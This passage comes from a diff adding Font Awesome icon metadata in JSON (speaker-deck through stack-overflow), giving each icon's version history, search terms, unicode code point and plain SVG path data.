.28-15.81-2.07-39.72-28.86-56.59-34.36-21.64-85-19.45-84.43-49.75.41-23.25 31-25.37 37.53-25.26.43 0 26.62.26 39.62 17.37z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M64 391.78C-15.41 303.59-8 167.42 80.64 87.64s224.8-73 304.21 15.24 72 224.36-16.64 304.14c-18.74 16.87 64 43.09 42 52.26-82.06 34.21-253.91 35-346.23-67.5zm213.31-211.6l38.5-40.86c-9.61-8.89-32-26.83-76.17-27.6-52.33-.91-95.86 28.3-96.77 80-.2 11.33.29 36.72 29.42 54.83 34.46 21.42 86.52 21.51 86 52.26-.37 21.28-26.42 25.81-38.59 25.6-3-.05-30.23-.46-47.61-24.62l-40 42.61c28.16 27 59 32.62 83.49 33.05 10.23.18 96.42.33 97.84-81 .28-15.81-2.07-39.72-28.86-56.59-34.36-21.64-85-19.45-84.43-49.75.41-23.25 31-25.37 37.53-25.26.43 0 26.62.26 39.62 17.37z" + } + }, + "free": [ + "brands" + ] + }, + "speaker-deck": { + "changes": [ + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f83c", + "label": "Speaker Deck", + "svg": { + "brands": { + "last_modified": 1558987775916, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M213.86 296H100a100 100 0 0 1 0-200h132.84a40 40 0 0 1 0 80H98c-26.47 0-26.45 40 0 40h113.82a100 100 0 0 1 0 200H40a40 40 0 0 1 0-80h173.86c26.48 0 26.46-40 0-40zM298 416a120.21 120.21 0 0 0 51.11-80h64.55a19.83 19.83 0 0 0 19.66-20V196a19.83 19.83 0 0 0-19.66-20H296.42a60.77 60.77 0 0 0 0-80h136.93c43.44 0 78.65 35.82 78.65 80v160c0 44.18-35.21 80-78.65 80z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M213.86 296H100a100 100 0 0 1 0-200h132.84a40 40 0 0 1 0 80H98c-26.47 0-26.45 40 0 40h113.82a100 100 0 0 1 0 200H40a40 40 0 0 1 0-80h173.86c26.48 0 26.46-40 0-40zM298 416a120.21 120.21 0 0 0 51.11-80h64.55a19.83 19.83 0 0 0 19.66-20V196a19.83 19.83 0 0 0-19.66-20H296.42a60.77 60.77 0 0 0 0-80h136.93c43.44 0 78.65 35.82 78.65 80v160c0 44.18-35.21 80-78.65 80z" + } + }, + "free": [ + "brands" + ] + }, + "spell-check": { + "changes": [ + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "dictionary", + "edit", + "editor", + "grammar", + "text" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f891", + "label": "Spell Check", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635715, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M272 256h91.36c43.2 0 82-32.2 84.51-75.34a79.82 79.82 0 0 0-25.26-63.07 79.81 79.81 0 0 0 9.06-44.91C427.9 30.57 389.3 0 347 0h-75a16 16 0 0 0-16 16v224a16 16 0 0 0 16 16zm40-200h40a24 24 0 0 1 0 48h-40zm0 96h56a24 24 0 0 1 0 48h-56zM155.12 22.25A32 32 0 0 0 124.64 0H99.36a32 32 0 0 0-30.48 22.25L.59 235.73A16 16 0 0 0 16 256h24.93a16 16 0 0 0 15.42-11.73L68.29 208h87.42l11.94 36.27A16 16 0 0 0 183.07 256H208a16 16 0 0 0 15.42-20.27zM89.37 144L112 75.3l22.63 68.7zm482 132.48l-45.21-45.3a15.88 15.88 0 0 0-22.59 0l-151.5 151.5-55.41-55.5a15.88 15.88 0 0 0-22.59 0l-45.3 45.3a16 16 0 0 0 0 22.59l112 112.21a15.89 15.89 0 0 0 22.6 0l208-208.21a16 16 0 0 0-.02-22.59z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M272 256h91.36c43.2 0 82-32.2 84.51-75.34a79.82 79.82 0 0 0-25.26-63.07 79.81 79.81 0 0 0 9.06-44.91C427.9 30.57 389.3 0 347 0h-75a16 16 0 0 0-16 16v224a16 16 0 0 0 16 16zm40-200h40a24 24 0 0 1 0 48h-40zm0 96h56a24 24 0 0 1 0 48h-56zM155.12 22.25A32 32 0 0 0 124.64 0H99.36a32 32 0 0 0-30.48 22.25L.59 235.73A16 16 0 0 0 16 256h24.93a16 16 0 0 0 15.42-11.73L68.29 208h87.42l11.94 36.27A16 16 0 0 0 183.07 256H208a16 16 0 0 0 15.42-20.27zM89.37 144L112 75.3l22.63 68.7zm482 132.48l-45.21-45.3a15.88 15.88 0 0 0-22.59 0l-151.5 151.5-55.41-55.5a15.88 15.88 0 0 0-22.59 0l-45.3 45.3a16 16 0 0 0 0 22.59l112 112.21a15.89 15.89 0 0 0 22.6 0l208-208.21a16 16 0 0 0-.02-22.59z" + } + }, + "free": [ + "solid" + ] + }, + "spider": { + "changes": [ + "5.4.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arachnid", + "bug", + "charlotte", + "crawl", + "eight", + "halloween" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f717", + "label": "Spider", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635716, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M151.17 167.35L177.1 176h4.67l5.22-26.12c.72-3.58 1.8-7.58 3.21-11.79l-20.29-40.58 23.8-71.39c2.79-8.38-1.73-17.44-10.12-20.24L168.42.82c-8.38-2.8-17.45 1.73-20.24 10.12l-25.89 77.68a32.04 32.04 0 0 0 1.73 24.43l27.15 54.3zm422.14 182.03l-52.75-79.12a32.002 32.002 0 0 0-26.62-14.25H416l68.99-24.36a32.03 32.03 0 0 0 16.51-12.61l53.6-80.41c4.9-7.35 2.91-17.29-4.44-22.19l-13.31-8.88c-7.35-4.9-17.29-2.91-22.19 4.44l-50.56 75.83L404.1 208H368l-10.37-51.85C355.44 145.18 340.26 96 288 96c-52.26 0-67.44 49.18-69.63 60.15L208 208h-36.1l-60.49-20.17L60.84 112c-4.9-7.35-14.83-9.34-22.19-4.44l-13.31 8.88c-7.35 4.9-9.34 14.83-4.44 22.19l53.6 80.41a32.03 32.03 0 0 0 16.51 12.61L160 256H82.06a32.02 32.02 0 0 0-26.63 14.25L2.69 349.38c-4.9 7.35-2.92 17.29 4.44 22.19l13.31 8.88c7.35 4.9 17.29 2.91 22.19-4.44l48-72h47.06l-60.83 97.33A31.988 31.988 0 0 0 72 418.3V496c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-73.11l74.08-118.53c-1.01 14.05-2.08 28.11-2.08 42.21C192 399.64 232.76 448 288 448s96-48.36 96-101.43c0-14.1-1.08-28.16-2.08-42.21L456 422.89V496c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-77.71c0-6-1.69-11.88-4.86-16.96L438.31 304h47.06l48 72c4.9 7.35 14.84 9.34 22.19 4.44l13.31-8.88c7.36-4.9 9.34-14.83 4.44-22.18zM406.09 97.51l-20.29 40.58c1.41 4.21 2.49 8.21 3.21 11.79l5.22 26.12h4.67l25.93-8.65 27.15-54.3a31.995 31.995 0 0 0 1.73-24.43l-25.89-77.68C425.03 2.56 415.96-1.98 407.58.82l-15.17 5.06c-8.38 2.8-12.91 11.86-10.12 20.24l23.8 71.39z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M151.17 167.35L177.1 176h4.67l5.22-26.12c.72-3.58 1.8-7.58 3.21-11.79l-20.29-40.58 23.8-71.39c2.79-8.38-1.73-17.44-10.12-20.24L168.42.82c-8.38-2.8-17.45 1.73-20.24 10.12l-25.89 77.68a32.04 32.04 0 0 0 1.73 24.43l27.15 54.3zm422.14 182.03l-52.75-79.12a32.002 32.002 0 0 0-26.62-14.25H416l68.99-24.36a32.03 32.03 0 0 0 16.51-12.61l53.6-80.41c4.9-7.35 2.91-17.29-4.44-22.19l-13.31-8.88c-7.35-4.9-17.29-2.91-22.19 4.44l-50.56 75.83L404.1 208H368l-10.37-51.85C355.44 145.18 340.26 96 288 96c-52.26 0-67.44 49.18-69.63 60.15L208 208h-36.1l-60.49-20.17L60.84 112c-4.9-7.35-14.83-9.34-22.19-4.44l-13.31 8.88c-7.35 4.9-9.34 14.83-4.44 22.19l53.6 80.41a32.03 32.03 0 0 0 16.51 12.61L160 256H82.06a32.02 32.02 0 0 0-26.63 14.25L2.69 349.38c-4.9 7.35-2.92 17.29 4.44 22.19l13.31 8.88c7.35 4.9 17.29 2.91 22.19-4.44l48-72h47.06l-60.83 97.33A31.988 31.988 0 0 0 72 418.3V496c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-73.11l74.08-118.53c-1.01 14.05-2.08 28.11-2.08 42.21C192 399.64 232.76 448 288 448s96-48.36 96-101.43c0-14.1-1.08-28.16-2.08-42.21L456 422.89V496c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-77.71c0-6-1.69-11.88-4.86-16.96L438.31 304h47.06l48 72c4.9 7.35 14.84 9.34 22.19 4.44l13.31-8.88c7.36-4.9 9.34-14.83 4.44-22.18zM406.09 97.51l-20.29 40.58c1.41 4.21 2.49 8.21 3.21 11.79l5.22 26.12h4.67l25.93-8.65 27.15-54.3a31.995 31.995 0 0 0 1.73-24.43l-25.89-77.68C425.03 2.56 415.96-1.98 407.58.82l-15.17 5.06c-8.38 2.8-12.91 11.86-10.12 20.24l23.8 71.39z" + } + }, + "free": [ + "solid" + ] + }, + "spinner": { + "changes": [ + "3", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "circle", + "loading", + "progress" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f110", + "label": "Spinner", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635716, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M304 48c0 26.51-21.49 48-48 48s-48-21.49-48-48 21.49-48 48-48 48 21.49 48 48zm-48 368c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48zm208-208c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48zM96 256c0-26.51-21.49-48-48-48S0 229.49 0 256s21.49 48 48 48 48-21.49 48-48zm12.922 99.078c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48c0-26.509-21.491-48-48-48zm294.156 0c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48c0-26.509-21.49-48-48-48zM108.922 60.922c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.491-48-48-48z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M304 48c0 26.51-21.49 48-48 48s-48-21.49-48-48 21.49-48 48-48 48 21.49 48 48zm-48 368c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48zm208-208c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48zM96 256c0-26.51-21.49-48-48-48S0 229.49 0 256s21.49 48 48 48 48-21.49 48-48zm12.922 99.078c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48c0-26.509-21.491-48-48-48zm294.156 0c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48c0-26.509-21.49-48-48-48zM108.922 60.922c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.491-48-48-48z" + } + }, + "free": [ + "solid" + ] + }, + "splotch": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "Ink", + "blob", + "blotch", + "glob", + "stain" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5bc", + "label": "Splotch", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635717, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M472.29 195.89l-67.06-22.95c-19.28-6.6-33.54-20.92-38.14-38.3L351.1 74.19c-11.58-43.77-76.57-57.13-109.98-22.62l-46.14 47.67c-13.26 13.71-33.54 20.93-54.2 19.31l-71.88-5.62c-52.05-4.07-86.93 44.88-59.03 82.83l38.54 52.42c11.08 15.07 12.82 33.86 4.64 50.24L24.62 355.4c-20.59 41.25 22.84 84.87 73.49 73.81l69.96-15.28c20.11-4.39 41.45 0 57.07 11.73l54.32 40.83c39.32 29.56 101.04 7.57 104.45-37.22l4.7-61.86c1.35-17.79 12.8-33.86 30.63-42.99l62-31.74c44.88-22.96 39.59-80.17-8.95-96.79z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M472.29 195.89l-67.06-22.95c-19.28-6.6-33.54-20.92-38.14-38.3L351.1 74.19c-11.58-43.77-76.57-57.13-109.98-22.62l-46.14 47.67c-13.26 13.71-33.54 20.93-54.2 19.31l-71.88-5.62c-52.05-4.07-86.93 44.88-59.03 82.83l38.54 52.42c11.08 15.07 12.82 33.86 4.64 50.24L24.62 355.4c-20.59 41.25 22.84 84.87 73.49 73.81l69.96-15.28c20.11-4.39 41.45 0 57.07 11.73l54.32 40.83c39.32 29.56 101.04 7.57 104.45-37.22l4.7-61.86c1.35-17.79 12.8-33.86 30.63-42.99l62-31.74c44.88-22.96 39.59-80.17-8.95-96.79z" + } + }, + "free": [ + "solid" + ] + }, + "spotify": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1bc", + "label": "Spotify", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861022, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111.1 8 0 119.1 0 256s111.1 248 248 248 248-111.1 248-248S384.9 8 248 8zm100.7 364.9c-4.2 0-6.8-1.3-10.7-3.6-62.4-37.6-135-39.2-206.7-24.5-3.9 1-9 2.6-11.9 2.6-9.7 0-15.8-7.7-15.8-15.8 0-10.3 6.1-15.2 13.6-16.8 81.9-18.1 165.6-16.5 237 26.2 6.1 3.9 9.7 7.4 9.7 16.5s-7.1 15.4-15.2 15.4zm26.9-65.6c-5.2 0-8.7-2.3-12.3-4.2-62.5-37-155.7-51.9-238.6-29.4-4.8 1.3-7.4 2.6-11.9 2.6-10.7 0-19.4-8.7-19.4-19.4s5.2-17.8 15.5-20.7c27.8-7.8 56.2-13.6 97.8-13.6 64.9 0 127.6 16.1 177 45.5 8.1 4.8 11.3 11 11.3 19.7-.1 10.8-8.5 19.5-19.4 19.5zm31-76.2c-5.2 0-8.4-1.3-12.9-3.9-71.2-42.5-198.5-52.7-280.9-29.7-3.6 1-8.1 2.6-12.9 2.6-13.2 0-23.3-10.3-23.3-23.6 0-13.6 8.4-21.3 17.4-23.9 35.2-10.3 74.6-15.2 117.5-15.2 73 0 149.5 15.2 205.4 47.8 7.8 4.5 12.9 10.7 12.9 22.6 0 13.6-11 23.3-23.2 23.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111.1 8 0 119.1 0 256s111.1 248 248 248 248-111.1 248-248S384.9 8 248 8zm100.7 364.9c-4.2 0-6.8-1.3-10.7-3.6-62.4-37.6-135-39.2-206.7-24.5-3.9 1-9 2.6-11.9 2.6-9.7 0-15.8-7.7-15.8-15.8 0-10.3 6.1-15.2 13.6-16.8 81.9-18.1 165.6-16.5 237 26.2 6.1 3.9 9.7 7.4 9.7 16.5s-7.1 15.4-15.2 15.4zm26.9-65.6c-5.2 0-8.7-2.3-12.3-4.2-62.5-37-155.7-51.9-238.6-29.4-4.8 1.3-7.4 2.6-11.9 2.6-10.7 0-19.4-8.7-19.4-19.4s5.2-17.8 15.5-20.7c27.8-7.8 56.2-13.6 97.8-13.6 64.9 0 127.6 16.1 177 45.5 8.1 4.8 11.3 11 11.3 19.7-.1 10.8-8.5 19.5-19.4 19.5zm31-76.2c-5.2 0-8.4-1.3-12.9-3.9-71.2-42.5-198.5-52.7-280.9-29.7-3.6 1-8.1 2.6-12.9 2.6-13.2 0-23.3-10.3-23.3-23.6 0-13.6 8.4-21.3 17.4-23.9 35.2-10.3 74.6-15.2 117.5-15.2 73 0 149.5 15.2 205.4 47.8 7.8 4.5 12.9 10.7 12.9 22.6 0 13.6-11 23.3-23.2 23.3z" + } + }, + "free": [ + "brands" + ] + }, + "spray-can": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "Paint", + "aerosol", + "design", + "graffiti", + "tag" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5bd", + "label": "Spray Can", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635717, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M224 32c0-17.67-14.33-32-32-32h-64c-17.67 0-32 14.33-32 32v96h128V32zm256 96c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32zm-256 32H96c-53.02 0-96 42.98-96 96v224c0 17.67 14.33 32 32 32h256c17.67 0 32-14.33 32-32V256c0-53.02-42.98-96-96-96zm-64 256c-44.18 0-80-35.82-80-80s35.82-80 80-80 80 35.82 80 80-35.82 80-80 80zM480 96c17.67 0 32-14.33 32-32s-14.33-32-32-32-32 14.33-32 32 14.33 32 32 32zm-96 32c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32zm-96-96c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32zm96 0c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32zm96 192c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M224 32c0-17.67-14.33-32-32-32h-64c-17.67 0-32 14.33-32 32v96h128V32zm256 96c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32zm-256 32H96c-53.02 0-96 42.98-96 96v224c0 17.67 14.33 32 32 32h256c17.67 0 32-14.33 32-32V256c0-53.02-42.98-96-96-96zm-64 256c-44.18 0-80-35.82-80-80s35.82-80 80-80 80 35.82 80 80-35.82 80-80 80zM480 96c17.67 0 32-14.33 32-32s-14.33-32-32-32-32 14.33-32 32 14.33 32 32 32zm-96 32c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32zm-96-96c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32zm96 0c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32zm96 192c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32z" + } + }, + "free": [ + "solid" + ] + }, + "square": { + "changes": [ + "2", + "5.0.0", + "5.10.1", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "block", + "box", + "shape" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f0c8", + "label": "Square", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635719, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48z" + }, + "regular": { + "last_modified": 1628088635020, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-6 400H54c-3.3 0-6-2.7-6-6V86c0-3.3 2.7-6 6-6h340c3.3 0 6 2.7 6 6v340c0 3.3-2.7 6-6 6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-6 400H54c-3.3 0-6-2.7-6-6V86c0-3.3 2.7-6 6-6h340c3.3 0 6 2.7 6 6v340c0 3.3-2.7 6-6 6z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "square-full": { + "changes": [ + "5.0.5", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "block", + "box", + "shape" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f45c", + "label": "Square Full", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635718, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 512H0V0h512v512z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M512 512H0V0h512v512z" + } + }, + "free": [ + "solid" + ] + }, + "square-root-alt": { + "changes": [ + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arithmetic", + "calculus", + "division", + "math" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f698", + "label": "Alternate Square Root", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635718, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M571.31 251.31l-22.62-22.62c-6.25-6.25-16.38-6.25-22.63 0L480 274.75l-46.06-46.06c-6.25-6.25-16.38-6.25-22.63 0l-22.62 22.62c-6.25 6.25-6.25 16.38 0 22.63L434.75 320l-46.06 46.06c-6.25 6.25-6.25 16.38 0 22.63l22.62 22.62c6.25 6.25 16.38 6.25 22.63 0L480 365.25l46.06 46.06c6.25 6.25 16.38 6.25 22.63 0l22.62-22.62c6.25-6.25 6.25-16.38 0-22.63L525.25 320l46.06-46.06c6.25-6.25 6.25-16.38 0-22.63zM552 0H307.65c-14.54 0-27.26 9.8-30.95 23.87l-84.79 322.8-58.41-106.1A32.008 32.008 0 0 0 105.47 224H24c-13.25 0-24 10.74-24 24v48c0 13.25 10.75 24 24 24h43.62l88.88 163.73C168.99 503.5 186.3 512 204.94 512c17.27 0 44.44-9 54.28-41.48L357.03 96H552c13.25 0 24-10.75 24-24V24c0-13.26-10.75-24-24-24z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M571.31 251.31l-22.62-22.62c-6.25-6.25-16.38-6.25-22.63 0L480 274.75l-46.06-46.06c-6.25-6.25-16.38-6.25-22.63 0l-22.62 22.62c-6.25 6.25-6.25 16.38 0 22.63L434.75 320l-46.06 46.06c-6.25 6.25-6.25 16.38 0 22.63l22.62 22.62c6.25 6.25 16.38 6.25 22.63 0L480 365.25l46.06 46.06c6.25 6.25 16.38 6.25 22.63 0l22.62-22.62c6.25-6.25 6.25-16.38 0-22.63L525.25 320l46.06-46.06c6.25-6.25 6.25-16.38 0-22.63zM552 0H307.65c-14.54 0-27.26 9.8-30.95 23.87l-84.79 322.8-58.41-106.1A32.008 32.008 0 0 0 105.47 224H24c-13.25 0-24 10.74-24 24v48c0 13.25 10.75 24 24 24h43.62l88.88 163.73C168.99 503.5 186.3 512 204.94 512c17.27 0 44.44-9 54.28-41.48L357.03 96H552c13.25 0 24-10.75 24-24V24c0-13.26-10.75-24-24-24z" + } + }, + "free": [ + "solid" + ] + }, + "squarespace": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f5be", + "label": "Squarespace", + "voted": true, + "svg": { + "brands": { + "last_modified": 1546440861022, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M186.12 343.34c-9.65 9.65-9.65 25.29 0 34.94 9.65 9.65 25.29 9.65 34.94 0L378.24 221.1c19.29-19.29 50.57-19.29 69.86 0s19.29 50.57 0 69.86L293.95 445.1c19.27 19.29 50.53 19.31 69.82.04l.04-.04 119.25-119.24c38.59-38.59 38.59-101.14 0-139.72-38.59-38.59-101.15-38.59-139.72 0l-157.22 157.2zm244.53-104.8c-9.65-9.65-25.29-9.65-34.93 0l-157.2 157.18c-19.27 19.29-50.53 19.31-69.82.05l-.05-.05c-9.64-9.64-25.27-9.65-34.92-.01l-.01.01c-9.65 9.64-9.66 25.28-.02 34.93l.02.02c38.58 38.57 101.14 38.57 139.72 0l157.2-157.2c9.65-9.65 9.65-25.29.01-34.93zm-261.99 87.33l157.18-157.18c9.64-9.65 9.64-25.29 0-34.94-9.64-9.64-25.27-9.64-34.91 0L133.72 290.93c-19.28 19.29-50.56 19.3-69.85.01l-.01-.01c-19.29-19.28-19.31-50.54-.03-69.84l.03-.03L218.03 66.89c-19.28-19.29-50.55-19.3-69.85-.02l-.02.02L28.93 186.14c-38.58 38.59-38.58 101.14 0 139.72 38.6 38.59 101.13 38.59 139.73.01zm-87.33-52.4c9.64 9.64 25.27 9.64 34.91 0l157.21-157.19c19.28-19.29 50.55-19.3 69.84-.02l.02.02c9.65 9.65 25.29 9.65 34.93 0 9.65-9.65 9.65-25.29 0-34.93-38.59-38.59-101.13-38.59-139.72 0L81.33 238.54c-9.65 9.64-9.65 25.28-.01 34.93h.01z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M186.12 343.34c-9.65 9.65-9.65 25.29 0 34.94 9.65 9.65 25.29 9.65 34.94 0L378.24 221.1c19.29-19.29 50.57-19.29 69.86 0s19.29 50.57 0 69.86L293.95 445.1c19.27 19.29 50.53 19.31 69.82.04l.04-.04 119.25-119.24c38.59-38.59 38.59-101.14 0-139.72-38.59-38.59-101.15-38.59-139.72 0l-157.22 157.2zm244.53-104.8c-9.65-9.65-25.29-9.65-34.93 0l-157.2 157.18c-19.27 19.29-50.53 19.31-69.82.05l-.05-.05c-9.64-9.64-25.27-9.65-34.92-.01l-.01.01c-9.65 9.64-9.66 25.28-.02 34.93l.02.02c38.58 38.57 101.14 38.57 139.72 0l157.2-157.2c9.65-9.65 9.65-25.29.01-34.93zm-261.99 87.33l157.18-157.18c9.64-9.65 9.64-25.29 0-34.94-9.64-9.64-25.27-9.64-34.91 0L133.72 290.93c-19.28 19.29-50.56 19.3-69.85.01l-.01-.01c-19.29-19.28-19.31-50.54-.03-69.84l.03-.03L218.03 66.89c-19.28-19.29-50.55-19.3-69.85-.02l-.02.02L28.93 186.14c-38.58 38.59-38.58 101.14 0 139.72 38.6 38.59 101.13 38.59 139.73.01zm-87.33-52.4c9.64 9.64 25.27 9.64 34.91 0l157.21-157.19c19.28-19.29 50.55-19.3 69.84-.02l.02.02c9.65 9.65 25.29 9.65 34.93 0 9.65-9.65 9.65-25.29 0-34.93-38.59-38.59-101.13-38.59-139.72 0L81.33 238.54c-9.65 9.64-9.65 25.28-.01 34.93h.01z" + } + }, + "free": [ + "brands" + ] + }, + "stack-exchange": { + "changes": [ + "4", + "5.0.0", + "5.0.3" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f18d", + "label": "Stack Exchange", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861022, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M17.7 332.3h412.7v22c0 37.7-29.3 68-65.3 68h-19L259.3 512v-89.7H83c-36 0-65.3-30.3-65.3-68v-22zm0-23.6h412.7v-85H17.7v85zm0-109.4h412.7v-85H17.7v85zM365 0H83C47 0 17.7 30.3 17.7 67.7V90h412.7V67.7C430.3 30.3 401 0 365 0z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M17.7 332.3h412.7v22c0 37.7-29.3 68-65.3 68h-19L259.3 512v-89.7H83c-36 0-65.3-30.3-65.3-68v-22zm0-23.6h412.7v-85H17.7v85zm0-109.4h412.7v-85H17.7v85zM365 0H83C47 0 17.7 30.3 17.7 67.7V90h412.7V67.7C430.3 30.3 401 0 365 0z" + } + }, + "free": [ + "brands" + ] + }, + "stack-overflow": { + "changes": [ + "3.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f16c", + "label": "Stack Overflow", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548363722337, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M290.7 311L95 269.7 86.8 309l195.7 41zm51-87L188.2 95.7l-25.5 30.8 153.5 128.3zm-31.2 39.7L129.2 179l-16.7 36.5L293.7 300zM262 32l-32 24 119.3 160.3 32-24zm20.5 328h-200v39.7h200zm39.7 80H42.7V320h-40v160h359.5V320h-40z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M290.7 311L95 269.7 86.8 309l195.7 41zm51-87L188.2 95.7l-25.5 30.8 153.5 128.3zm-31.2 39.7L129.2 179l-16.7 